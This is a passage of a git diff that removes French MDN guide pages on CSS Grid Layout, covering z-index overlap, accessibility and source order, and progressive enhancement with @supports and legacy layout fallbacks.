Dans le brouillon de travaille pour la spécification de niveau 2 pour CSS Grid, il existe une fonctionnalité nommée sous-grille qui permet de créer des grilles imbriquées qui utilisent la définition de la grille parent. Ceci n'est implémenté dans aucun navigateur pour le moment, et la spécification peut encore changer. Pour l'utiliser telle qu'elle est définie actuellement il faudrait modifier l'exemple suivant et remplacer display: grid par display: subgrid, et supprimer la définition des pistes. La piste imbriquée utiliserait les pistes de la grille parent pour positionner ses éléments.

- -

Selon la version actuelle de la spécifiction, il faudrait éditer l'exemple de grille imbriquée précédent et remplacer grid-template-columns: repeat(3, 1fr) en grid-template-columns: subgrid. La grille imbriquée utilisera alors la grille parente pour inscrire ses éléments dans le document.

- -
.box1 {
-  grid-column-start: 1;
-  grid-column-end: 4;
-  grid-row-start: 1;
-  grid-row-end: 3;
-  display: grid;
-  grid-template-columns: subgrid;
-}
-
- -

Superposer les éléments avec z-index

- -

Plusieurs éléments peuvent être placés dans la même cellule. Si nous retournons à notre exemple avec les items positionnés par numéros de ligne, nous pouvons modifier cela pour que deux items se chevauchent.

- -
-
<div class="wrapper">
-  <div class="box box1">Un</div>
-  <div class="box box2">Deux</div>
-  <div class="box box3">Trois</div>
-  <div class="box box4">Quatre</div>
-  <div class="box box5">Cinq</div>
-</div>
-
- -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3, 1fr);
-  grid-auto-rows: 100px;
-}
-.box1 {
-  grid-column-start: 1;
-  grid-column-end: 4;
-  grid-row-start: 1;
-  grid-row-end: 3;
-}
-.box2 {
-  grid-column-start: 1;
-  grid-row-start: 2;
-  grid-row-end: 4;
-}
-
- - -
- -

{{ EmbedLiveSample('l_ex', '230', '420') }}

- -

L'élément box2 est maintenant superposé avec box1, et comme il arrive après dans le code source il s'affiche par-dessus.

- -

Contrôler l’ordre de superposition

- -

On peut contrôler l'ordre dans lequel les éléments s'empilent en utilisant la propriété z-index. Si nous donnons à box2 un z-index inférieur à celui de box1, l'élément box2 s'affichera sous box1 dans la pile.

- -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3, 1fr);
-  grid-auto-rows: 100px;
-}
-.box1 {
-  grid-column-start: 1;
-  grid-column-end: 4;
-  grid-row-start: 1;
-  grid-row-end: 3;
-  z-index: 2;
-}
-.box2 {
-  grid-column-start: 1;
-  grid-row-start: 2;
-  grid-row-end: 4;
-  z-index: 1;
-}
-
- - - -

{{ EmbedLiveSample("Contrôler_l’ordre_de_superposition", '230', '420') }}

- -

La suite

- -

Dans cet article nous avons parcouru rapidement la spécification CSS Grid Layout. Essayez de jouer avec les exemples, avant de passer aux parties suivantes de ce guide pour commencer à vraiment plonger dans le détail de la CSS Grid Layout.

- -

{{PreviousMenuNext("", "Web/CSS/CSS_Grid_Layout/Placer_les_éléments_sur_les_lignes_d_une_grille_CSS","Web/CSS/CSS_Grid_Layout")}}

diff --git "a/files/fr/web/css/css_grid_layout/les_grilles_css_et_l_accessibilit\303\251/index.html" "b/files/fr/web/css/css_grid_layout/les_grilles_css_et_l_accessibilit\303\251/index.html" deleted file mode 100644 index 6e2751382d..0000000000 --- "a/files/fr/web/css/css_grid_layout/les_grilles_css_et_l_accessibilit\303\251/index.html" +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: Les grilles CSS et l'accessibilité -slug: Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_accessibilité -tags: - - Accessibilité - - CSS - - CSS Grids - - Grilles CSS - - Guide - - Intermédiaire -translation_of: Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility ---- -
{{CSSRef}}
- -

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_les_valeurs_logiques_les_modes_d_écriture", "Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_amélioration_progressive","Web/CSS/CSS_Grid_Layout")}}

- -

Pour celles et ceux qui étaient présents aux premières lueurs du Web, les grilles CSS peuvent rappeler l'âge sombre où les tableaux HTML étaient utilisés pour la mise en forme des pages et où les cellules étaient utilisées pour diviser le contenu. Cette approche avait quelques avantages par rapport au positionnement CSS apparu après : on pouvait tirer parti de l'alignement et des colonnes créées dans un tableau. Il y a toutefois un inconvénient majeur : la mise en forme est fortement couplée à la structure du document, entraînant certains problèmes d'accessibilité. On pouvait par exemple découper le contenu dans le tableau afin d'obtenir la mise en forme souhaitée mais la structure de la page n'avait plus aucun sens lorsqu'elle était lue par un lecteur d'écran.

- -

Aux débuts de CSS, on évoquait souvent CSS comme un outil pour séparer distinctement la mise en forme d'une part et le contenu du document d'autre part. L'objectif ultime était alors de pouvoir créer un document sémantique et structuré correctement puis appliquer une feuille de style CSS afin de créer la disposition voulue. Des sites tels que CSS Zen Garden montrent comment obtenir différents styles grâce à CSS à partir d'un même document HTML.

- -

Les grilles CSS n'ont pas les mêmes problèmes que les tableaux : la structure de la grille est bien définie dans la feuille de style et pas dans le document. Si nécessaire, on peut ajouter un élément sans rôle sémantique. En théorie, une grille CSS nous aide à obtenir cette séparation conceptuelle entre la forme (le code CSS) et le sens (le document HTML) mais est-il possible d'aller trop loin avec cette idée ? Est-ce que les grilles CSS peuvent causer des problèmes d'accessibilité ?

- -

Réordonner le contenu dans une grille CSS

- -

Au fur et à mesure de ces articles, nous avons vu que les grilles CSS nous permettent de réordonner le contenu d'une page de différentes façons. On peut utiliser la propriété {{cssxref("order")}} afin de modifier la façon dont les éléments sont placés automatiquement sur la grille. On peut aussi utiliser grid-auto-flow: dense pour que les éléments ne suivent pas l'ordre du DOM afin de réduire les espaces laissés. On peut aussi positionner les éléments sur des lignes ou sur des zones définies, quel que soit leur emplacement dans la structure du document source.

- -

La spécification contient une section qui aborde ce ré-ordonnancement et l'accessibilité. En introduction, on peut lire ce qui est attendu de la part des navigateurs lorsque le contenu est réordonné visuellement avec une grille CSS.

- -
-

La disposition en grille fournit une grande flexibilité aux auteurs pour replacer le contenu du document. Toutefois, cette flexibilité ne doit pas être utilisée pour pallier à un ordre incorrect du document source. Les propriétés des grilles relatives à l'ordre et au placement n'ont pas d'effet quant aux médias non-visuels (tels que la parole). De la même façon, le ré-ordonnancement visuel des éléments sur la grille n'a pas d'effet sur l'ordre de parcours séquentiel par défaut du document (notamment utilisé pour la navigation au clavier ou le parcours des liens, cf. tabindex).

-
- -

Si vous réordonnez les éléments du document grâce à une disposition sur une grille, cela ne changera pas l'ordre du contenu lu par un lecteur d'écran ou manipulé par un autre agent utilisateur. Cela ne modifiera pas non plus l'ordre des éléments lorsque ceux-ci sont parcourus au clavier. Une personne utilisant le clavier pourrait ainsi passer d'un coup de la partie haute de la grille à la partie basse si les liens ont été réordonnés.

- -

La spécification prévient les auteurs (c'est-à-dire les développeurs web) et leur indique de ne pas appliquer ce ré-ordonnancement.

- -
-

Les auteurs doivent utiliser les propriétés d'ordre et de placement uniquement pour des raisons visuelles et non pour réordonner logiquement le contenu. Les feuilles de style qui utilisent ces fonctionnalités afin de réordonner les éléments sur le plan logique ne sont pas considérées comme des feuilles de style conformes.

-
- -

Quelles sont les implications pratiques lorsqu'on conçoit une disposition avec une grille ?

- -

Un ré-ordonnancement visuel et non logique

- -

La modification d'ordre appliquée par la grille (ou les boîtes flexibles) est uniquement visuelle. C'est toujours le document sous-jacent qui contrôle l'ordre utilisé par les agents utilisateur non-visuels. Voyons comment cela s'applique pour un exemple simple.

- -

Dans cet exemple, on utilise une grille pour organiser un ensemble de boîtes qui contiennent des liens. On utilise les propriétés pour placer les éléments sur des lignes : la première boîte est placée sur la deuxième ligne. Visuellement, cette boîte apparaît désormais comme le quatrième élément de la liste. Mais si on utilise la touche tabulation pour naviguer au clavier parmi les liens, c'est toujours ce lien qui est en premier.

- -
- - -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3, 1fr);
-  grid-auto-rows: 100px;
-}
-
-.box1 {
-  grid-column: 1;
-  grid-row: 2;
-}
-
- -
<div class="wrapper">
-  <div class="box box1"><a href="">Un</a></div>
-  <div class="box box2"><a href="">Deux</a></div>
-  <div class="box box3"><a href="">Trois</a></div>
-  <div class="box box4"><a href="">Quatre</a></div>
-  <div class="box box5"><a href="">Cinq</a></div>
-</div>
-
- -

{{EmbedLiveSample('accessibility_1', '500', '330')}}

-
- -

Pour ce scénario, la spécification indique que, si la boîte 1 doit logiquement être placée ici, il faut alors modifier le document source plutôt que de réordonner les éléments grâce à la grille.

- -

Comment prendre en compte l'accessibilité avec une disposition en grille ?

- -

On voit à partir de la spécification qu'il faut maintenir l'ordre logique du contenu. Quelle approche choisir pendant le développement afin de s'assurer de respecter l'accessibilité pour les utilisateurs et que ceux-ci puissent interagir correctement avec la page, quels que soient les outils utilisés ?

- -
-
Démarrer avec un document structuré et accessible
-
Une disposition en grille ne doit pas nécessiter de changement dans la structure du document pour obtenir la disposition souhaitée. Aussi, pour commencer, le document qui forme la page doit être bien structuré et accessible. Comme indiqué dans la spécification, cette structure de base doit également fournir une bonne structure pour les petits écrans. Si un utilisateur fait défiler le site sur un appareil mobile, les éléments qu'il doit voir en premier sont généralement ceux qui sont au début du document dans la source.
-
Créer une grille adaptative correcte
-
Grâce à cette structure de base claire, on peut complexifier la disposition. Il est probable qu'on veuille ajouter des requêtes de média afin de créer des colonnes supplémentaires et gérer différentes tailles d'écran et différents appareils. Une grille peut s'avérer très utile pour déplacer les éléments qui étaient moins prioritaires sur mobile afin de construire la disposition d'un écran plus large. Une bonne stratégie consiste à tester chaque disposition, simplement en utilisant la navigation avec la touche tabulation : est-ce que cet ordre est pertinent ? est-ce qu'on ne passe pas d'un coup du haut en bas de la page ?
-
Revenir à la source
-
Si, pendant cette phase de conception, vous avez besoin de replacer un élément avec la grille, analysez s'il est nécessaire de replacer cet élément dans l'ordre logique du document. Les grilles CSS ont cela de pratique qu'elles permettent de déplacer un élément dans le document source sans qu'il soit nécessaire de modifier profondément les règles de style. C'est un atout considérable par rapport aux dispositions construites avec {{cssxref("float")}} où la structure et l'ordre du document jouaient un rôle fondamental. Cela demande toutefois de garder à l'esprit qu'il faut revenir à la source pour mettre à jour et maintenir l'ordre logique.
-
- -

Les grilles et le risque d'aplatir le document à outrance

- -

On peut rencontrer un autre problème avec les grilles CSS (et, dans une moindre mesure, avec les boîtes flexibles) : vouloir aplatir la structure du document. Comme nous avons pu le voir, pour qu'un objet appartienne à la grille, il faut que ce soit un fils direct du conteneur de la grille. Ainsi, si on place un élément {{HTMLElement("ul")}} dans une grille, c'est cet ul qui devient un objet de la grille, les éléments {{HTMLElement("li")}} qui en dépendent n'en sont pas.

- -

Si la valeur subgrid est implémentée pour la propriété {{cssxref("display")}}, on pourra alors indiquer que ces fils participent à la grille en tant que sous-grille. Actuellement, la seule solution à notre disposition est d'utiliser display: contents afin que la boîte générée par l'élément ul disparaisse de la structure graphique. Pour plus d'informations à ce sujet, vous pouvez consulter l'article sur les liens entre les grilles et les autres méthodes de disposition et notamment la section sur display: contents.

- -

Étant donné que la prise en charge de display: contents pour les différents navigateurs est actuellement limitée et que les sous-grilles n'existent pas encore, on peut être tenté d'aplatir la structure du document lorsqu'on utilise les grilles CSS pour créer la disposition d'un document. Par exemple, pour une liste, identifiée sémantiquement comme telle avec ul, on pourrait plutôt utiliser des éléments {{HTMLElement("div")}} qui seraient des éléments directement situés sous le conteneur qui a display: grid. Mieux vaut donc être conscient de cette tentation et construire un document sans détricoter la structure. En commençant par créer un document structuré, on se rend plus facilement compte de la sémantique perdue si on retire des éléments pour une simple question visuelle.

- -

Approfondir la question

- -

Il n'existe pas encore beaucoup de contenu relatif à l'accessibilité et au modèle de grille CSS. La plupart des problèmes rencontrés s'approchent de ceux qu'on rencontre avec les boîtes flexibles (qui permettent également de réordonner le contenu avec des propriétés comme {{cssxref("flex-direction")}} et {{cssxref("order")}}).

- -

Le concept selon lequel l'ordre d'affichage des éléments doit suivre l'ordre des éléments dans le document est décrit dans WCAG Techniques for Success Criteria – Technique C27 (en anglais).

- -

Pour construire votre réflexion sur ce sujet, je vous invite à lire Flexbox & the Keyboard Navigation Disconnect écrit par Léonie Watson. La vidéo de la présentation de Léonie à ffconf est aussi utile pour mieux comprendre comment les lecteurs d'écran utilisent la représentation visuelle des objets en CSS. Adrian Roselli a également publié un article sur l'ordre de la navigation au clavier dans les différents navigateurs bien que cet article ait été rédigé avant l'implémentation des grilles CSS dans Firefox.

- -

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_les_valeurs_logiques_les_modes_d_écriture", "Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_amélioration_progressive","Web/CSS/CSS_Grid_Layout")}}

diff --git "a/files/fr/web/css/css_grid_layout/les_grilles_css_et_l_am\303\251lioration_progressive/index.html" "b/files/fr/web/css/css_grid_layout/les_grilles_css_et_l_am\303\251lioration_progressive/index.html" deleted file mode 100644 index 8a5122de2f..0000000000 --- "a/files/fr/web/css/css_grid_layout/les_grilles_css_et_l_am\303\251lioration_progressive/index.html" +++ /dev/null @@ -1,420 +0,0 @@ ---- -title: Les grilles CSS et l'amélioration progressive -slug: Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_amélioration_progressive -tags: - - CSS - - CSS Grids - - Grilles CSS - - Guide - - Intermédiaire -translation_of: Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement ---- -
{{CSSRef}}
- -

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_accessibilité", "Web/CSS/CSS_Grid_Layout/Modèle_de_grille_et_autres_modèles_de_disposition","Web/CSS/CSS_Grid_Layout")}}

- -

Au printemps 2017, on voit pour la première fois une spécification majeure être disponible presque simultanément dans différents navigateurs : les grilles CSS (CSS Grid). Les grilles CSS sont disponibles dans les versions récentes de Firefox, Chrome, Opera, Safari et Edge. Malgré cela, si ces navigateurs récents permettront à la plupart d'entre nous de profiter de ces nouvelles fonctionnalités, il existe d'anciens navigateurs ou d'autres navigateurs qui ne prennent pas en charge ces fonctionnalité. Dans ce guide, nous allons parcourir différentes stratégies pour gérer cette prise en charge.

- -

Les navigateurs qui prennent en charge les grilles CSS

- -

En dehors d'Internet Explorer, les propriétés et valeurs relatives aux grilles CSS ne sont pas préfixées dans Safari, Chrome, Opera, Edge et dans Firefox. Toutes les propriétés et valeurs que nous avons vues dans ce guide fonctionnent de façon interopérable entre ces navigateurs. Cela signifie que si vous écrivez des règles CSS pour paramétrer une grille, le document doit avoir le même rendu dans Firefox, Opera et dans Chrome. Les grilles CSS ne sont plus une spécification expérimentale, elles peuvent donc être utilisées en production.

- -

La situation pour Internet Explorer et Edge

- -

La première implémentation des grilles CSS a eu lieu avec Internet Explorer 10. La première version de la spécification ne contenait alors pas toutes les propriétés et valeurs décrites dans la spécification actuelle. Il existe également des différences importantes entre ce qui est disponible dans IE10 et la spécification actuelle, même si les propriétés et les valeurs se ressemblent à première vue. Cette implémentation initiale est également celle qui est en place dans Edge jusqu'à la version 15.

- -

La version implémentée pour IE/Edge (≤15) est préfixée avec -ms et les propriétés ont les noms suivants :

- -
    -
  • {{cssxref("grid-template-columns")}} est appelée -ms-grid-columns
    • -
  • {{cssxref("grid-template-rows")}} est appelée -ms-grid-rows
    • -
  • {{cssxref("grid-row-start")}} est appelée -ms-grid-row
    • -
  • {{cssxref("grid-column-start")}} est appelée -ms-grid-column
    • -
  • {{cssxref("align-self")}} est appelée -ms-grid-row-align
    • -
  • {{cssxref("justify-self")}} est appelée -ms-grid-column-align
    • -
- -

La version implémentée dans Internet Explorer dispose de propriétés supplémentaires qui ne font pas partie de la nouvelle spécification : -ms-grid-column-span et -ms-grid-row-span. La version implémentée dans IE ne profite pas du placement automatique ou des zones nommées. On peut implémenter certaines grilles simples pour IE10 et jusqu'à Edge 15, grâce à ces propriétés préfixées par -ms. Ces propriétés étant préfixées, elles ne seront pas reconnues (et n'auront aucun effet) pour les navigateurs qui implémentent la spécification actuelle.

- -

L'utilisation d'autoprefixer pour la prise en charge de la grille

- -

L'outil autoprefixer a été mis à jour afin de prendre en charge les versions préfixées par -ms- lorsqu'on utilise les nouvelles propriétés. Par défaut, les préfixes liés à la grille sont désactivés mais vous pouvez les activer avec l'option grid: autoplace.

- -
autoprefixer({ grid: 'autoplace' })
- -

Les préfixes relatifs aux grilles sont désactivés par défaut car certaines propriétés ne peuvent pas être préfixées

- -

Puis-je utiliser les grilles CSS sans danger ?

- -

Comme pour les autres technologies front-end, la décision d'utiliser les grilles CSS se résume souvent au parc de navigateurs utilisés par le public de votre site ou votre application. S'ils ont tendance à utiliser des version à jour de Firefox, Chrome, Opera et Safari, il serait logique de commencer à utiliser les grilles CSS dès que la nouvelle version des navigateurs sera disponible. En revanche, si le marché visé repose sur d'anciens navigateurs, ce n'est peut-être pas le bon choix. Toutefois, je suggèrerai de ne pas prendre les mêmes hypothèses que pour la diffusion des autres spécifications par le passé : le travail d'implémentation et d'homogénéisation réalisés par les différents distributeurs de navigateur pour les fonctionnalités des grilles CSS est sans précédent.

- -

Commencer à utiliser les grilles CSS en production

- -

On notera qu'il n'est pas nécessaire d'avoir une rupture brutale pour utiliser les grilles CSS. On peut commencer par améliorer quelques éléments avec une grille et conserver l'ancienne méthode d'affichage pour les navigateurs historiques. Surcharger ces méthodes historiques avec les grilles fonctionne très bien étant donné la façon dont les grilles interagissent avec ces autres méthodes.

- -

Effectuer la transition depuis une disposition flottante

- -

Jusqu'à présent, pour créer une disposition sur plusieurs colonnes, on a utilisé des dispositions flottantes. Si vous avez un objet qui flotte et que celui-ci est également un objet d'une grille CSS : dans un navigateur qui prend en charge les grilles CSS, le flottement ne sera plus appliqué sur l'objet. En fait, la grille prend le pas sur le flottement. Dans l'exemple qui suit, on a simplement un objet média. Pour un navigateur historique, on utilise {{cssxref("float")}}, cependant, on a également défini un conteneur de grille dans lequel on pourra utiliser les propriétés d'alignement disponibles pour les navigateurs qui implémentent les grilles CSS.

- -

Le mode {{cssxref("float")}} ne s'applique plus sur l'objet et on peut utiliser la propriété {{cssxref("align-self")}} afin d'aligner le contenu vers la fin du conteneur.

- -
-
* {box-sizing: border-box;}
-img {
-  max-width: 100%;
-  display: block;
-}
-.media {
-  border: 2px solid #f76707;
-  border-radius: 5px;
-  background-color: #fff4e6;
-  max-width: 400px;
-  display: grid;
-  grid-template-columns: 1fr 2fr;
-  grid-template-areas: "img content";
-  margin-bottom: 1em;
-}
-.media::after {
-  content: "";
-  display: block;
-  clear: both;
-}
-.media .image {
-  float: left;
-  width: 150px;
-  margin-right: 20px;
-}
-.media .text {
-  padding: 10px;
-  align-self: end;
-}
-
- -
<div class="media">
-  <div class="image">
-    <img src="http://placehold.it/150x150" alt="placeholder">
-  </div>
-  <div class="text">
-    Voici un exemple avec un média. On utilise le flottement
-    pour les anciens navigateurs et une grille pour les
-    nouveaux.
-  </div>
-</div>
-
- -

{{EmbedLiveSample('enhancement_1', '500', '180')}}

-
- -

Dans l'image qui suit, on voit à gauche ce qu'on obtient dans un navigateur qui ne prend pas en charge les grilles CSS et à droite le résultat obtenu pour un navigateur qui permet de les utiliser.

- -

A simple example of overriding a floated layout using grid.

- -

Utiliser les requêtes de fonctionnalité (feature queries)

- -

L'exemple que nous venons de voir est très simple et on peut résoudre le problème sans avoir à écrire de code qui gênerait les navigateurs historiques, le code historique ne pose pas non plus de problème pour les navigateurs qui prennent en charge les grilles CSS. Dans la réalité, on fait parfois face à des cas plus complexes.

- -

Dans le prochain exemple, nous aurons un ensemble de cartes disposées avec du flottement. On a défini une largeur ({{cssxref("width")}}) sur ces cartes afin de pouvoir appliquer le flottement {{cssxref("float")}}. Pour créer des espaces entre les cartes, on utilise une marge ({{cssxref("margin")}}) sur les objets puis une marge négative sur le conteneur.

- -
- - -
.wrapper ul {
-  overflow: hidden;
-  margin: 0 -10px;
-  padding: 0;
-  list-style: none;
-}
-.wrapper li {
-  float: left;
-  width: calc(33.333333% - 20px);
-  margin: 0 10px 20px 10px;
-}
-
- -
<div class="wrapper">
-  <ul>
-    <li class="card">
-      <h2>Un</h2>
-      <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
-    </li>
-    <li class="card">
-      <h2>Deux</h2>
-      <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
-    </li>
-    <li class="card">
-      <h2>Trois</h2>
-      <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
-    </li>
-    <li class="card">
-       <h2>Quatre</h2>
-       <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
-    </li>
-    <li class="card">
-       <h2>Cinq</h2>
-       <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
-    </li>
-    <li class="card">
-      <h2>Six</h2>
-      <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
-    </li>
-  </ul>
-</div>
-
- -

{{EmbedLiveSample('enhancement_2', '550', '400')}}

-
- -

Dans la capture qui suit, on voit un problème classique qui est causé par les dispositions flottantes : si on ajoute du contenu à l'une des cartes, la disposition est chamboulée.

- -

A floated cards layout demonstrating the problem caused by uneven content height.

- -

Pour gérer les anciens navigateurs dans une certaine mesure, on peut indiquer une hauteur minimale pour les boîtes avec {{cssxref("min-height")}} et espérer que les éditeurs n'ajouteront pas trop de contenu dans chaque boîte…

- -

Voyons comment améliorer cette disposition avec une grille : on transforme l'élément {{HTMLElement("ul")}} en un conteneur de grille avec trois pistes en colonne. Malheureusement, la largeur qu'on avait affectée aux éléments de la liste s'applique toujours et désormais, chaque élément de la liste occupe uniquement un tiers de la piste correspondante.

- -

After applying grid to our container, the width of the items is now incorrect as they display at one third of the item width.

- -

Si on réinitialise la largeur avec auto, on n'aura plus le résultat souhaité dans les anciens navigateurs. Il faut donc trouver un moyen de définir la largeur pour les anciens navigateurs et de supprimer la largeur quand le navigateur prend en charge les grilles CSS. Grâce aux requêtes de fonctionnalité CSS, on peut le faire directement en CSS.

- -

Les requêtes de fonctionnalité ressemblent beaucoup aux requêtes de média qu'on utilise pour créer des dispositions adaptatives. Ici, plutôt que de vérifier la largeur de la zone d'affichage ou telle caractéristique du navigateur ou de l'appareil, on vérifie la prise en charge d'une propriété CSS avec une certaine valeur grâce à une règle {{cssxref("@supports")}}. À l'intérieur de cette requête, on peut écrire le CSS nécessaire pour obtenir la nouvelle disposition et retiré tout ce qui est nécessaire pour l'ancienne mise en forme.

- -
@supports (display: grid) {
-  .wrapper {
-    // ajouter les règles qu'on souhaite
-    // pour les navigateurs qui prennent
-    // en charge les grilles
-  }
-}
-
- -

La prise en charge des requêtes de fonctionnalité par les différents navigateurs est excellente. Tous les navigateurs qui prennent en charge la nouvelle spécification pour les grilles CSS supportent aussi les requêtes de fonctionnalité. On peut donc les utiliser pour résoudre le problème précédent pour améliorer la disposition flottante.

- -

On utilise donc @supports pour vérifier la prise en charge de display: grid;, ensuite on indique que {{HTMLElement("ul")}} est le conteneur de la grille, on définit la largeur et {{cssxref("min-height")}} avec auto pour les éléments {{HTMLElement("li")}}. On retire également les marges, les marges négatives et on remplace l'espacement avec la propriété {{cssxref("grid-gap")}}. Cela signifie qu'il n'y aura pas de marge finale sur la dernière ligne de boîtes. La disposition fonctionne également  désormais lorsqu'une carte possède plus de contenu qu'une autre.

- -
- - -
.wrapper ul {
-    overflow: hidden;
-    margin: 0 -10px;
-    padding: 0;
-    list-style: none;
-}
-.wrapper li {
-    float: left;
-    width: calc(33.333333% - 20px);
-    margin: 0 10px 20px 10px;
-}
-@supports (display: grid) {
-  .wrapper ul {
-    display: grid;
-    grid-template-columns: repeat(3, 1fr);
-    grid-gap: 20px;
-    margin: 0;
-  }
-  .wrapper li {
-    width: auto;
-    min-height: auto;
-    margin: 0;
-  }
-}
-
- -
<div class="wrapper">
-  <ul>
-    <li class="card">
-      <h2>Un</h2>
-      <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
-    </li>
-    <li class="card">
-      <h2>Deux</h2>
-      <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
-    </li>
-    <li class="card">
-      <h2>Trois</h2>
-      <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
-    </li>
-    <li class="card">
-       <h2>Quatre</h2>
-       <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
-    </li>
-    <li class="card">
-       <h2>Cinq</h2>
-       <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
-    </li>
-    <li class="card">
-      <h2>Six</h2>
-      <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
-    </li>
-  </ul>
-</div>
-
- -

{{EmbedLiveSample('enhancement_3', '550', '480')}}

-
- -

Surcharger les autres valeurs pour display

- -

Étant donné ces problèmes pour créer des grilles d'objets avec du flottement, il est probable que nous aurions choisi un autre méthode initialement, par exemple display: inline-block.

- -

Là encore, on peut utiliser les requêtes de fonctionnalité pour surcharger display: inline-block. Ici aussi, il n'est pas nécessaire de tout surcharger. Pour les éléments concernés par inline-block, ils deviendront des objets de la grille et inline-block ne s'appliquera plus. Dans l'exemple qui suit, on utilise la propriété vertical-align sur les éléments lorsqu'on utilise le mode inline-block, cette propriété n'étant pas appliquée aux éléments d'une grille, elle est ignorée lorsque l'élément devient un objet de la grille.

- -
- - -
.wrapper ul {
-  margin: 0 -10px;
-  padding: 0;
-  list-style: none;
-}
-
-.wrapper li {
-  display: inline-block;
-  vertical-align: top;
-  width: calc(33.333333% - 20px);
-  margin: 0 10px 20px 10px;
-}
-@supports (display: grid) {
-  .wrapper ul {
-    display: grid;
-    grid-template-columns: repeat(3, 1fr);
-    grid-gap: 20px;
-    margin: 0;
-  }
-  .wrapper li {
-    width: auto;
-    margin: 0;
-  }
-}
-
- -
<div class="wrapper">
-  <ul>
-    <li class="card">
-      <h2>Un</h2>
-      <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
-    </li>
-    <li class="card">
-      <h2>Deux</h2>
-      <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
-    </li>
-    <li class="card">
-      <h2>Trois</h2>
-      <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
-    </li>
-    <li class="card">
-       <h2>Quatre</h2>
-       <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
-    </li>
-    <li class="card">
-       <h2>Cinq</h2>
-       <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
-    </li>
-    <li class="card">
-      <h2>Six</h2>
-      <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
-    </li>
-  </ul>
-</div>
-
- -

{{EmbedLiveSample('enhancement_4', '500', '480')}}

-
- -

Ici aussi, il faut reparamétrer la largeur de l'élément puis améliorer les autres propriétés. Dans cet exemple également on a utilisé grid-gap plutôt que des marges et des marges négatives pour créer les « gouttières ».

- -

Comment la spécification gère-t-elle cette surcharge ?

- -

La spécification sur les grilles CSS détaille comment on peu surcharger le comportement de certaines propriétés lorsqu'un élément devient un objet d'une grille. Les sections principales sur ce sujet sont :

- - - -

Ce comportement est détaillé dans la spécification et on peut donc l'utiliser pour surcharger les règles utilisées pour les navigateurs qui ne prennent pas en charge les grilles CSS. Ce que nous avons appliqué n'est pas une bidouille, on tire simplement parti de l'interaction entre les différents modes de disposition, tel que décrit dans la spécification.

- -

Les autres valeurs de display

- -

Lorsqu'un élément possède un parent pour lequel display: grid, cet élément devient un bloc (cf. la specification). C'est pour cela que, pour l'élément qui utilisait inline-block, display: inline-block ne s'appliquait plus.

- -

Si la disposition historique utilise display: table, un élément avec display: table-cell génèrera des boîtes anonymes. Aussi, si on utilise display: table-cell sans élément parent avec display-table, un tableau implicite sera créé autour des cellules adjacentes (comme si on a avait enveloppé le tout dans un div ou autre pour lequel on aurait défini display: table). Si on a un objet pour lequel display: table-cell et que, dans une requête de fonctionnalité, on utilise display: grid pour l'élément parent, il n'y aura plus de création de boîtes anonymes. Cela signifie qu'on peut surcharger display: table sans avoir ces boîtes anonymes supplémentaires.

- -

Les éléments flottants

- -

Comme nous l'avons déjà vu, {{cssxref("float")}}, ainsi que {{cssxref("clear")}} n'ont aucun effet sur un objet de grille. Il n'est donc pas nécessaire d'utiliser explicitement float: none sur les éléments.

- -

L'alignement vertical

- -

La propriété d'alignement {{cssxref("vertical-align")}} n'a aucun effet sur un objet d'une grille. Pour les dispositions qui utilisent display: inline-block ou display: table, la propriété vertical-align était utilisée pour réaliser des alignements basiques. Avec une disposition en grille, on peut utiliser les propriétés d'alignement des boîtes sur la grille, plus puissantes.

- -

La disposition sur plusieurs colonnes

- -

Il est aussi possible de partir d'une disposition sur plusieurs colonnes car les propriétés column-* ne s'appliquent pas sur un conteneur de grille.

- -

Approfondir la question

- - - -

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_accessibilité", "Web/CSS/CSS_Grid_Layout/Modèle_de_grille_et_autres_modèles_de_disposition","Web/CSS/CSS_Grid_Layout")}}

